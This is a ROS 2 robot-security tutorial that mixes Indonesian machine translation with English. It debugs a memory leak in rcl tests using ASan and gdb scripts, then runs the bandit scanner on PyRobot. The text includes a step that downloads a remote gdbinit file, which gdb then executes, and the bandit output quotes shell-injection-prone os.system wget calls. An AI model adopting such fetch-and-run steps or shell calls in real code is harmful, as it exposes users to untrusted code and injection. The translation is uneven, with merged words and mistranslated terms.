#16 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#17 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#18 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#19 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
#20 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f5278a99b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7f52781e5465 in __default_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:35
#2 0x7f52781f7c2f in rcutils_strndup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:42
#3 0x7f52781f7bae in rcutils_strdup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:33
#4 0x7f5275880638 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:226
#5 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#6 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#7 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
#8 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#9 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#10 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#11 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#12 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#13 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#14 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#15 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#16 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#17 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#18 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#19 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#20 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
#21 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: 103 byte(s) leaked in 5 allocation(s).
```
Kita dapat melihat dengan jelas bahwa dua kebocoran langsung terkait dengan /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56. Seperti yang ditunjukkan dalam tutorial pertama dan menurut dokumentasi ASan [8]:
LSan juga membedakan antara kebocoran langsung dan tidak langsung dalam output-nya. Hal ini memberikan informasi yang berguna tentang kebocoran mana yang harus diprioritaskan, karena memperbaiki kebocoran langsung kemungkinan besar akan memperbaiki kebocoran tidak langsung juga.
Hal ini memberi tahu kita di mana harus fokus terlebih dahulu. Kebocoran langsung dari laporan pertama ini adalah:
```bash
Direct leak of 56 byte(s) in 1 object(s) allocated from:
#0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f4eae6c6c7e in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
...
```
Dan
```bash
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f4eae8e7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
...
```
Keduanya sesuai dengan callocpanggilan di https://github.com/ros2/rcutils/blob/master/src/allocator.c#L56 namun dengan pemanggil yang berbeda: - https://github.com/ros2/rcutils/blob/master/src/string_array.c#L54 (1) - https://github.com/ros2/rmw/blob/master/rmw/src/names_and_types.c#L72 (2)
Pada titik ini, kita dapat melanjutkan dan memeriksa bagian kode yang gagal ` src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342namun sebaliknya, mari selami sedikit bug tersebut dan mencoba memperoleh pemahaman lebih dalam dengan cara yang berbeda.
Mari ambil gdb dan masuk ke dalamnya.
Menggunakan GDB untuk memahami kebocoran dengan lebih baik
Pertama, mari kita siapkan lingkungan untuk debugging:
```bash
ccache -M 20G # increase cache size
# Add the following to your .bashrc or .zshrc file and restart your terminal:
export CC=/usr/lib/ccache/gcc
export CXX=/usr/lib/ccache/g++
source /opt/ros2_asan_ws/install-asan/setup.bash
```
Kita sudah tahu di mana kebocoran memori ini terjadi, sekarang mari kita coba mengidentifikasi lingkungan dan penyebabnya dengan menggunakan gdb. Kita akan mengikuti strategi yang mirip dengan yang dijelaskan di [4]:
Setiap kali kita memasukkan 'malloc()' kita akan 'menyimpan' ukuran alokasi memori yang diminta dalam sebuah variabel.
Setiap kali kita kembali dari 'malloc()' kita akan mencetak ukuran dan alamat pengembalian dari 'malloc()'.
Setiap kali kita memasukkan 'free()' kita akan mencetak 'pointer' yang akan kita bebaskan.
Sekarang kita menggunakan dua terminal: - Di satu terminal kita meluncurkan biner test_graph__rmw_fastrtps_cpp- Di terminal lainnya kita akan meluncurkan gdb sebagaisudo gdb -p $(pgrep test_graph__rmw)
Selain itu di terminal GDB, kita akan menjalankan skrip berikut [4]:
```bash
set pagination off
set breakpoint pending on
set logging file gdbcmd1.out
set logging on
hbreak malloc
commands
set $mallocsize = (unsigned long long) $rdi
continue
end
hbreak *(malloc+191)
commands
printf "malloc(%lld) = 0x%016llx\n", $mallocsize, $rax
continue
end
hbreak free
commands
printf "free(0x%016llx)\n", (unsigned long long) $rdi
continue
end
continue
```
Ini akan gagal dengan pesan seperti berikut:
```bash
(gdb) continue
Continuing.
Warning:
Cannot insert hardware breakpoint 1.
Cannot insert hardware breakpoint 2.
Could not insert hardware breakpoints:
You may have requested too many hardware breakpoints/watchpoints.
Command aborted.
```
Perhatikan bahwa skrip ini secara harfiah diambil dari [4] dan tidak ada kepastian nyata bahwa malloc+191offset mengarah ke titik di mana kita dapat mengambil pointer yang menunjuk ke bagian memori yang dialokasikan di heap. Pemeriksaan cepat dengan gdb menunjukkan bahwa debugger tidak pernah rusak di sini.
Selain itu, tampaknya cara penulisan skrip ini, kita perlu membatasi tempat-tempat di mana kita memasukkan titik henti perangkat keras atau sekadar menggali lebih spesifik. Kita perlu menggali lebih dalam.
Mari dapatkan lingkungan yang lebih nyaman untuk debugging (perhatikan bahwa tergantung pada apa yang Anda lakukan dengan gdb, ini bisa berupa apa saja, jadi jangan ragu untuk menghapus ~/.gdbinitfile jika itu masalahnya):
```bash
wget -P ~ git.io/.gdbinit
```
Dengan melakukan pembobolan, __default_zero_allocatekita akan mendapatkan informasi yang kita butuhkan untuk mendiagnosis ukuran kebocoran:
Sesi debug 1
dalam kasus ini, size_of_elementadalah 88 byte, kita akan fokus terlebih dahulu pada 56 byte yang bocor. Dengan mencari, akhirnya kita akan menemukan:
Sesi debug 2
Mari kita debug dan bermain dengan calloc (bukan malloc) dan free lagi. Untuk melakukannya, kita akan memecah __default_zero_allocatedan secara manual mencari tahu alamat yang dikembalikan:
Sesi debug 3
Tampaknya di __default_zero_allocate+39situlah kita dapat mengambil alamat memori yang dialokasikan di tumpukan (dari raxregister). Dalam contoh di atas 0x0000608000000120. Ini dapat diperiksa ulang dengan meletakkan breakpoint di b rcl/init.c:79dan memeriksa alamat context->impl:
Sesi debug 4
Untuk bersenang-senang, mari kita coba lihat apa offset callocyang menyediakan pointer yang mengalamatkan bagian memori yang dialokasikan dalam heap. Kita mulai dengan memecah __default_zero_allocate( b __default_zero_allocate) dan kemudian (setelah di sini), dalam calloc( b calloc).
Kita tahu bahwa alamatnya akan berada dalam 0x60800000XXXXrentang (kurang lebih, lihat batasan tumpukan untuk jawaban yang lebih spesifik) dan untuk mempercepat proses, kita dapat mengintip kode rakitan calloc setelah kita memecahnya di sana:
Sesi debug 5
Singkatnya, untuk memverifikasi bahwa kita memang memperoleh nilai yang tepat untuk memori dinamis yang dialokasikan:
```bash
# within gdb
b main
b __default_zero_allocate
b *(calloc-15694047)
b rcl/init.c:79
p context->impl
```
Menyatukannya dalam skrip gdb:
```bash
set pagination off
set breakpoint pending on
set logging file gdbcmd1.out
set logging on
hbreak calloc
commands
set $callocsize = (unsigned long long) $rsi
continue
end
hbreak *(calloc-15694047)
commands
printf "calloc(%lld) = 0x%016llx\n", $callocsize, $rax
continue
end
hbreak free
commands
printf "free(0x%016llx)\n", (unsigned long long) $rdi
continue
end
continue
```
(setelah menonaktifkan beberapa titik henti hw) menghasilkan file besar https://gist.github.com/vmayoral/57ea38f9614cbfd1b5d7e93d92c15e13. Dengan menelusuri file ini, mari kita hitung jumlah calloc dalam kasus-kasus di mana kita mengalokasikan 56 byte (di mana kebocorannya):
```bash
cat gdbcmd1.out | grep "calloc(56)" | awk '{print $3}' | sed "s/^/cat gdbcmd1.out | grep -c /g"
cat gdbcmd1.out | grep -c 0x000060600000af40
cat gdbcmd1.out | grep -c 0x0000602000008f90
cat gdbcmd1.out | grep -c 0x0000616000012c80
cat gdbcmd1.out | grep -c 0x000060600001dba0
cat gdbcmd1.out | grep -c 0x0000606000039bc0
cat gdbcmd1.out | grep -c 0x000060b0000cf4c0
cat gdbcmd1.out | grep -c 0x000060b0000cf990
cat gdbcmd1.out | grep -c 0x000060b0000cfd00
cat gdbcmd1.out | grep -c 0x00006060000436a0
cat gdbcmd1.out | grep -c 0x000060600005c060
cat gdbcmd1.out | grep -c 0x000060600005c1e0
cat gdbcmd1.out | grep -c 0x000060600005c300
cat gdbcmd1.out | grep -c 0x000060600005c420
cat gdbcmd1.out | grep -c 0x000060600005c5a0
cat gdbcmd1.out | grep -c 0x000060600005c720
cat gdbcmd1.out | grep -c 0x000060600005c840
cat gdbcmd1.out | grep -c 0x000060600005c960
cat gdbcmd1.out | grep -c 0x000060600005cae0
cat gdbcmd1.out | grep -c 0x000060600005cc00
cat gdbcmd1.out | grep -c 0x000060600005cd20
cat gdbcmd1.out | grep -c 0x000060600005cea0
cat gdbcmd1.out | grep -c 0x000060600005cfc0
cat gdbcmd1.out | grep -c 0x000060600005d0e0
cat gdbcmd1.out | grep -c 0x000060600005d260
cat gdbcmd1.out | grep -c 0x000060600005d380
cat gdbcmd1.out | grep -c 0x000060600005d4a0
cat gdbcmd1.out | grep -c 0x000060600005d5c0
cat gdbcmd1.out | grep -c 0x000060b000148830
cat gdbcmd1.out | grep -c 0x0000606000069b60
cat gdbcmd1.out | grep -c 0x000060b000148d00
cat gdbcmd1.out | grep -c 0x0000606000069e00
cat gdbcmd1.out | grep -c 0x0000606000069f20
cat gdbcmd1.out | grep -c 0x000060600006a040
cat gdbcmd1.out | grep -c 0x000060600006a160
cat gdbcmd1.out | grep -c 0x000060600006a280
cat gdbcmd1.out | grep -c 0x00006060000717e0
cat gdbcmd1.out | grep -c 0x00006060000718a0
cat gdbcmd1.out | grep -c 0x00006060000719c0
cat gdbcmd1.out | grep -c 0x0000606000071c00
cat gdbcmd1.out | grep -c 0x0000606000071cc0
cat gdbcmd1.out | grep -c 0x0000606000071de0
cat gdbcmd1.out | grep -c 0x0000606000071f00
cat gdbcmd1.out | grep -c 0x0000606000072020
cat gdbcmd1.out | grep -c 0x0000606000072140
cat gdbcmd1.out | grep -c 0x0000606000072260
```
yang diluncurkan akan mendapatkan output berikut:
```bash
cat gdbcmd1.out | grep "calloc(56)" | awk '{print $3}' | sed "s/^/cat gdbcmd1.out | grep -c /g" | bash
2
2
2
1
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
```
Kami memfilter berdasarkan alamat dan kami berharap untuk selalu mendapat angka genap (setiap calloc dengan yang gratis), namun kami mendapat angka ganjil untuk alamat tersebut 0x000060600001dba0:
```bash
cat gdbcmd1.out | grep "0x000060600001dba0"
calloc(56) = 0x000060600001dba0
```
It seems this is not getting released! Let’s get back to gdb and debug where does this happens with a combination as follows:
```bash
set pagination off
hbreak calloc
commands
set $callocsize = (unsigned long long) $rsi
continue
end
break *(calloc-15694047) if $callocsize == 56
printf "calloc(%d) = 0x%016llx\n", $callocsize, $rax
```
In combination with:
```bash
break free
p $rdi
c
```
It’s easy to validate that the 4th iteration is leaky. Further investigating here:
```bash
>>> where
#0 0x00007ffff6ef8d01 in calloc () from /usr/lib/x86_64-linux-gnu/libasan.so.4
#1 0x00007ffff66444d7 in __default_zero_allocate (number_of_elements=1, size_of_element=56, state=0x0) at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x00007ffff6435c7f in rmw_names_and_types_init (names_and_types=0x7fffffff11e0, size=1, allocator=0x7fffffff03c0) at /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
#3 0x00007ffff3cde35b in rmw_fastrtps_shared_cpp::__copy_data_to_results (topics=std::map with 1 element = {...}, allocator=0x7fffffff03c0, no_demangle=false, topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
#4 0x00007ffff3ce0c46 in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) (identifier=0x7ffff6919660 "rmw_fastrtps_cpp", node=0x604000011990, allocator=0x7fffffff03c0, node_name=0x55555566a560 "test_graph_node", node_namespace=0x7ffff6bf4620 "/", no_demangle=false, retrieve_cache_func=..., topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#5 0x00007ffff3ce10cd in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node (identifier=0x7ffff6919660 "rmw_fastrtps_cpp", node=0x604000011990, allocator=0x7fffffff03c0, node_name=0x55555566a560 "test_graph_node", node_namespace=0x7ffff6bf4620 "/", no_demangle=false, topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#6 0x00007ffff68f21ec in rmw_get_publisher_names_and_types_by_node (node=0x604000011990, allocator=0x7fffffff03c0, node_name=0x55555566a560 "test_graph_node", node_namespace=0x7ffff6bf4620 "/", no_demangle=false, topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
#7 0x00007ffff6bb7876 in rcl_get_publisher_names_and_types_by_node (node=0x60200000bb90, allocator=0x7fffffff1120, no_demangle=false, node_name=0x55555566a560 "test_graph_node", node_namespace=0x555555669ae0 "", topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#8 0x00005555555910ee in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody (this=0x606000015fe0) at /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#9 0x0000555555649216 in testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void> (object=0x606000015fe0, method=&virtual testing::Test::TestBody(), location=0x555555676dc0 "the test body") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#10 0x000055555563b36a in testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void> (object=0x606000015fe0, method=&virtual testing::Test::TestBody(), location=0x555555676dc0 "the test body") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#11 0x00005555555e7e52 in testing::Test::Run (this=0x606000015fe0) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#12 0x00005555555e927d in testing::TestInfo::Run (this=0x6120000004c0) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#13 0x00005555555e9e21 in testing::TestCase::Run (this=0x611000000400) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#14 0x0000555555604f32 in testing::internal::UnitTestImpl::RunAllTests (this=0x615000000800) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#15 0x000055555564bcc9 in testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool> (object=0x615000000800, method=(bool (testing::internal::UnitTestImpl::*)(testing::internal::UnitTestImpl * const)) 0x555555604842 <testing::internal::UnitTestImpl::RunAllTests()>, location=0x55555567ae60 "auxiliary test code (environments or event listeners)") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#16 0x000055555563d633 in testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool> (object=0x615000000800, method=(bool (testing::internal::UnitTestImpl::*)(testing::internal::UnitTestImpl * const)) 0x555555604842 <testing::internal::UnitTestImpl::RunAllTests()>, location=0x55555567ae60 "auxiliary test code (environments or event listeners)") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#17 0x0000555555601cc6 in testing::UnitTest::Run (this=0x5555558bea80 <testing::UnitTest::GetInstance()::instance>) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#18 0x00005555555d5215 in RUN_ALL_TESTS () at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#19 0x00005555555d515b in main (argc=1, argv=0x7fffffff4b28) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
```
Which tells us the exact same information Asan did already :). In other words, we reached the same conclusion, the problem seems to be at src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342.
Inspecting the code, it seems like key might be in the call to rmw_names_and_types_init which in exchange gets deallocated by rmw_names_and_types_fini. Let’s check whether all the memory reservations of 56 bytes do call rmw_names_and_types_fini. Let’s first analyze the typical call to rmw_names_and_types_fini after hitting one of the points we’re interested in (we break in rmw_names_and_types_fini (b rmw_names_and_types_fini)):
Debug session 6
Note that this comes from rcl/test/rcl/test_graph.cpp#L172. Inspecting the code that creates the leak below, we observe that there’s simply no call to such rcl_names_and_types_fini function.
Fix for the bug is available at https://github.com/vmayoral/rcl/commit/ec0e62cd04453f7968fa47f580289d3d06734a1d. Sent it upstream https://github.com/ros2/rcl/pull/468.
Resources
[1] Tutorial 1: Robot sanitizers in ROS 2 Dashing
[2] https://github.com/google/sanitizers/wiki/AddressSanitizerAndDebugger
[3] https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizerVsHeapChecker
[4] https://www.ibm.com/developerworks/community/blogs/IMSupport/entry/LINUX_GDB_IDENTIFY_MEMORY_LEAKS?lang=en
[5] https://www.usenix.org/system/files/conference/atc12/atc12-final39.pdf
Robot sanitizers with Gazebo
Let’s start by compiling the moveit2 workspace by hand using ASan flags:
colcon build --build-base=build-asan --install-base=install-asan --cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON -DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli -DCMAKE_BUILD_TYPE=Debug --mixin asan-gcc --merge-install
Resources
[1] https://www.usenix.org/system/files/conference/atc12/atc12-final39.pdf
Static analysis of PyRobot
Discussing PyRobot
This section briefly discusses pyrobot and provides a biased opinion on how valid the contribution is for the AI and robotic communities.
The rationale behind PyRobot
PyRobot has been developed and published by Facebook Artificial Intelligence research group. From the Facebook announcement:
PyRobot is a framework and ecosystem that enables AI researchers and students to get up and running with a robot in just a few hours, without specialized knowledge of the hardware or of details such as device drivers, control, and planning. PyRobot will help Facebook AI advance our long-term robotics research, which aims to develop embodied AI systems that can learn efficiently by interacting with the physical world. We are now open-sourcing PyRobot to help others in the AI and robotics community as well.
From this text one could say that the original authors not only aim to apply AI techniques to robots but specifically, come from an AI background and found the overall ROS ecosystem “too complex” (from my experience this is often the case of many software engineers diving into robotics). AI engineers often tend to disregard the complexity of robots and attempt find shortcuts that leave aside relevant technical aspects:
PyRobot abstracts away details about low-level controllers and interprocess communication, so machine learning (ML) experts and others can simply focus on building high-level AI robotics applications.
There’s still a strong discussion in the robotics community on whether AI techniques do actually outperform formal methods (traditional control mechanisms). This might indeed be the case on vision-powered applications but applying machine learning techniques end-to-end might not deliver the most optimal results as already reported in several articles.
Robotics is the art of system integration and requires roboticists to care strongly about things such as determinism, real-time, security or safety. These aspects aren’t often the first priority for most AI engineers (changing policies is typically what most would expect). This is a recurrent situation that’s happening over and over with engineers jumping from AI-related areas to robotics. The desire of AI-oriented groups to apply “only AI” in robotics justifies the creation of yet new robotic frameworks reinventing the wheel unnecessarily. This happens every now and then. Most of these tools fail to grasp the technical aspects of robots and fail to provide means for complying with critical aspects in robotics.
Diving into PyRobot’s architecture
According to its official paper [2], PyRobot is an open-source robotics framework for research and benchmarking. More specifically, PyRobot is defined as a light-weight, high-level interface on top of ROS that provides a consistent set of hardware independent midlevel APIs to control different robots.
(this sounds surprisingly close to ROS 1 original goals in a way, years after though)
According to its authors, the main problems that this framework solves are:
ROS requires expertise: Dominant robotic software packages like ROS and MoveIt! are complex and require a substantial breadth of knowledge to understand the full stack of planners, kinematics libraries and low-level controllers. On the other hand, most new users do not have the necessary expertise or time to acquire a thorough understanding of the software stack. A light weight, high-level interface would ease the learning curve for AI practitioners, students and hobbyists interested in getting started in robotics.
This has historically been one of the main criticisims about ROS. ROS indeed has a learning curve however, there’re good reasons behind the complexity and layered architecture of the framework. Building a robotic application is a complicated task and reusing software requires a modular architecture. ROS was originally designed with an academic purpose and later on extended for its deployment in the PR2.
Selama beberapa tahun terakhir ROS telah beralih dari alat yang berorientasi pada penelitian menjadi seperangkat alat kelas industri yang mendukung perilaku robotik yang paling rumit saat ini. Hasil dari pertumbuhan ini terlihat jelas ketika melihat ROS 2 yang telah dipikirkan untuk kasus penggunaan terkait industri dan dengan diskusi aktif seputar keamanan, keselamatan, atau waktu nyata.
Kurangnya API yang independen terhadap perangkat keras : Menulis perangkat lunak yang independen terhadap perangkat keras sangatlah menantang. Dalam ekosistem ROS, hal ini sebagian ditangani dengan merangkum detail khusus perangkat keras dalam Universal Robot Description Format (URDF) yang merupakan layanan hilir lainnya.
Saya akan membantah hal ini. Faktanya, ROS terkenal dengan lapisan abstraksi perangkat kerasnya yang memungkinkan puluhan sensor dan/atau aktuator untuk saling beroperasi. Tumpukan perencanaan gerakan, manipulasi, dan navigasi di dunia ROS (yaitu tumpukan navigasi atau moveit) telah dibangun dengan cara yang tidak bergantung pada perangkat keras dan menyediakan sarana perluasan.
Fakta paling mencolok tentang PyRobot adalah bahwa ia tampaknya mengabaikan bahwa ROS menyediakan lapisan atas abstraksi (apa yang akan cocok sebagai Tingkat Tinggi di bagian ROS pada grafik di atas) yang menangkap robot lengkap. Repo resmi ROS-I[4] mengelompokkan sejumlah repo tersebut.
Meskipun tujuan PyRobot tampaknya jelas berpusat pada "mempercepat penelitian robotika AI" , cara yang agak sederhana untuk membandingkan PyRobot dengan kerangka kerja standar de facto yang ada dalam robotika (seperti abstraksi ROS untuk berbagai robot) adalah menganalisis kualitas kode yang dihasilkan. Metode Jaminan Kualitas (QA) umum dalam robotika dan ada beberapa proyek sumber terbuka dan komunitas yang mendorong peningkatan alat terbuka dalam komunitas ROS.
Ada berbagai cara untuk meninjau kualitas kode. Salah satu cara yang sederhana adalah dengan melakukan analisis statis terhadap keseluruhan kode kerangka kerja dan menilai potensi kelemahan keamanan. Bagian selanjutnya akan membahas hal ini.
## Melakukan analisis statis dalam kode
Ayo cepat
Hasil daribandit
bandit -r .
[main] INFO profile include tests: None
[main] INFO profile exclude tests: None
[main] INFO cli include tests: None
[main] INFO cli exclude tests: None
[main] INFO running on Python 3.7.3
116 [0.. 50.. 100.. ]
Run started:2019-06-24 21:09:09.231683
Test results:
>> Issue: [B403:blacklist] Consider possible security implications associated with pickle module.
Severity: Low Confidence: High
Location: ./examples/crash_detection/crash_utils/train.py:10
More Info: https://bandit.readthedocs.io/en/latest/blacklists/blacklist_imports.html#b403-import-pickle
9 import os
10 import pickle
11 import time
--------------------------------------------------
>> Issue: [B605:start_process_with_a_shell] Starting a process with a shell, possible injection detected, security issue.
Severity: High Confidence: High
Location: ./examples/crash_detection/locobot_kobuki.py:57
More Info: https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html
56 print('CRASH MODEL NOT FOUND! DOWNLOADING IT!')
57 os.system('wget {} -O {}'.format(url, model_path))
58
--------------------------------------------------
>> Issue: [B605:start_process_with_a_shell] Starting a process with a shell, possible injection detected, security issue.
Severity: High Confidence: High
Location: ./examples/grasping/grasp_samplers/grasp_model.py:46
More Info: https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html
45 print('GRASP MODEL NOT FOUND! DOWNLOADING IT!')
46 os.system('wget {} -O {}'.format(url, model_path))
47
...
--------------------------------------------------
Code scanned:
Total lines of code: 10588
Total lines skipped (#nosec): 0
Run metrics:
Total issues (by severity):
Undefined: 0.0
Low: 105.0
Medium: 6.0
High: 2.0
Total issues (by confidence):
Undefined: 0.0
Low: 0.0
Medium: 0.0
High: 113.0
Files skipped (1):
./examples/sim2real/test.py (syntax error while parsing AST from file)
8 masalah keamanan relevan dengan tingkat keparahan Sedang atau Tinggi. Ini sangat berbeda dari lapisan python ROS dengan LOC yang hampir sama. Misalnya rclpy di ROS 2:
bandit -r ros2/rclpy/
[main] INFO profile include tests: None
